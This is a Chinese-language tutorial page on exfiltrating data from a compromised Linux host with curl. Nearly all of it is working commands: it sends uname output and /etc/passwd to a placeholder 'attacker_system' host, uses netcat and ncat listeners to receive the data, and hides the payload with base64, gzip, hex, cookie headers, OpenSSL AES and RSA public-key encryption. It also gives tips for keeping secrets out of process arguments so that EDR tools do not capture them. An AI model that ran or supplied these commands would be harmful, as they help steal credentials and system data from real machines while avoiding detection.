Skip to content

Categories

Tags

On this page

Curl命令数据外传技巧

基本形式

受控机
curl -d `uname -a` http://attacker_system/
接收机
nc -lp 80
POST / HTTP/1.1
Host: attacker_system
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Linux 25b01d656003 5.10.47-linuxkit #1 SMP Sat Jul 3 21:51:47 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

各种混淆

受控机
curl -d `cat /etc/passwd | base64 -w0` http://attacker_system/
curl http://attacker_system/`uname -a | base64 -w0`
curl http://attacker_system/ -H "Cookie: `uname -a | base64 -w0`"
curl -d `uname -a | gzip | base64 -w0` http://attacker_system
curl -d `uname -a | gzip | xxd -ps | tr -d '\n'` http://attacker_system/

OpenSSL加密

受控机
curl -d `uname -a | openssl enc -pass 'pass:EncryptMe' -md sha256 -aes-256-cbc -pbkdf2 -a -e` http://attacker_system/
接收机
nc -lp 80
POST / HTTP/1.1
Host: attacker_system
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 172
Content-Type: application/x-www-form-urlencoded
U2FsdGVkX18/C90HEEv7tvzvU7JM/FRUQ9cGlhC5QporjmRYBwMLNc/VBbrOQFqp6GPQRu1T99GfwZUwDgOU8sItii//UAs4WoAxpVRcAg3cHOYKJ+ZUA3X4lS2Af/2J3zPKHeL6E3559Ife9X0hBk5zjfSfmFM00es2DTVYm+Q=

如上所示,我们使用curlPOST 对uname -a 进行数据外传,使用管道将 stdout 发送到openssl,使用密码加密。但需要注意的是,这种方法会在进程树的命令行参数中显示密码,某些EDR可能会捕获这些参数以供以后分析。最后,我们对输出进行base64编码并发送请求。以下是openssl的一些参数解释:

  • enc该命令允许我们使用密码来加密数据。

  • -pass该参数允许我们指定密码来加密数据。

  • -md用于从提供的密码创建密钥的消息摘要算法。OpenSSL 可能会根据安装默认使用不同的消息摘要算法,为了避免解密出现问题,最好专门设置此参数。

  • -aes-256-cbc我们希望用来加密数据的算法。

  • -pbkdf2使用具有默认迭代次数(通常为 10000 次迭代)的 PBKDF2 算法。这是一个比默认选项 openssl 提供的更安全的密钥派生过程。需要注意的是,这个标志只在 OpenSSL >= 1.1.1 中可用。

  • -a将输出编码为 Base64。这让我们可以base64 -w0像之前所做的那样跳过管道。

  • -e最后,这个标志告诉 openssl 加密传递给它的数据。在这种情况下,数据来自标准输入。

  • 使用以下方法进行解密

    openssl enc -pass 'pass:EncryptMe' -md sha256 -aes-256-cbc -pbkdf2 -a -d <<< U2FsdGVkX18/C90HEEv7tvzvU7JM/FRUQ9cGlhC5QporjmRYBwMLNc/VBbrOQFqp6GPQRu1T99GfwZUwDgOU8sItii//UAs4WoAxpVRcAg3cHOYKJ+ZUA3X4lS2Af/2J3zPKHeL6E3559Ife9X0hBk5zjfSfmFM00es2DTVYm+Q=
    Linux 25b01d656003 5.10.47-linuxkit #1 SMP Sat Jul 3 21:51:47 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

那么如何将进程树命令行参数中的密码隐藏呢?我们可以使用自己的公钥进行加密

受控机
curl -k -d `openssl s_client -connect attacker_system:443 \
| openssl x509 -pubkey -noout > /tmp/f; uname -a \
| openssl rsautl -inkey /tmp/f -pubin -encrypt \
| base64 -w0; rm /tmp/f` https://attacker_system/
接收机
ncat -lp 443 -k --ssl --ssl-cert pub.crt --ssl-key priv.key
POST / HTTP/1.1
Host: attacker_system
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 344
Content-Type: application/x-www-form-urlencoded
HmuUgK05Sku7xBjBkxDeakgDnb9CkJIX5EYIC1oxOnSHxBzVG9hGh4BQeX9VwEp5OYxLX8mRNXCxmbHANdwy3/Bga4Mp+GFVhUZKr8haKHVrNa1dtfEvHlmDaMfESwcZy0Llmvl8+skOescVb6lSZLS/09HIAVdfyQo5DFM59KKGm9XZEMsXUAvR+1AmB5nsvIAKqBQY1nyr5IJc6+pzSK8d1gxTCTL/0D9gM2xnr6ZXmgthPogH2dy8olZLlYT+q6J/3ZpDijm1W4LyKZHO0WLjdS0mem9to/6GAi8cWZTySV+BvddF3jmkA8lfgOtL09JpjC9QrJ5sT7Ay+vDWuA==
  • 这次使用ncat是为了使用其内置的 SSL 解密功能进行解密,相关参数解释如下:

    • 从攻击系统中提取公钥并保存到文件中openssl s_client -connect attacker_system:443 | openssl x509 -pubkey -noout > /tmp/f
    • 执行所需的命令并使用 OpenSSL 和之前提取的公钥进行加密,然后对数据进行 base64 编码uname -a | openssl rsautl -inkey /tmp/f -pubin -encrypt | base64 -w0;
    • 删除包含公钥的文件rm /tmp/f
    • curl通过 HTTPS 将命令中的 base64 输出发布到攻击系统。
  • 我们现在可以像这样解码和解密结果:

    base64 -d <<< SxYwWIC7ceUtsPGo3ETSPaCTMW9AdXWuyAR01AIBu0LLlHWDVa5uSP3J86vyyePaoybuoAEgvit5HQDNfL8fS1lSix/enb9UVCAn7hp/dZ9RGrtzqIRWFgHm0O4M69S1bHT1bn/3F0EiCZ53blulegKnxaCmSM64aO6c12dpJWD7A8QcJwG4R5J/owE9LbR5rJkmvTCf3bAD9FkvX5vD8GJmJkLhjaYa+mB6VZ67FcJdzUykfGJPsWOg5ju8nCTasxgjPR7Wsv7EXRoV7uia9u1yjfIpb5DloR2lqhfihvs4vuCmm23pJNZyIikSL0FyOGgQSps21mP0ri3UfRIryw== \
    | openssl rsautl -inkey priv.key -decrypt
    Linux 25b01d656003 5.10.47-linuxkit #1 SMP Sat Jul 3 21:51:47 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

参考资料

Edit this page
Last updated on 4/9/2023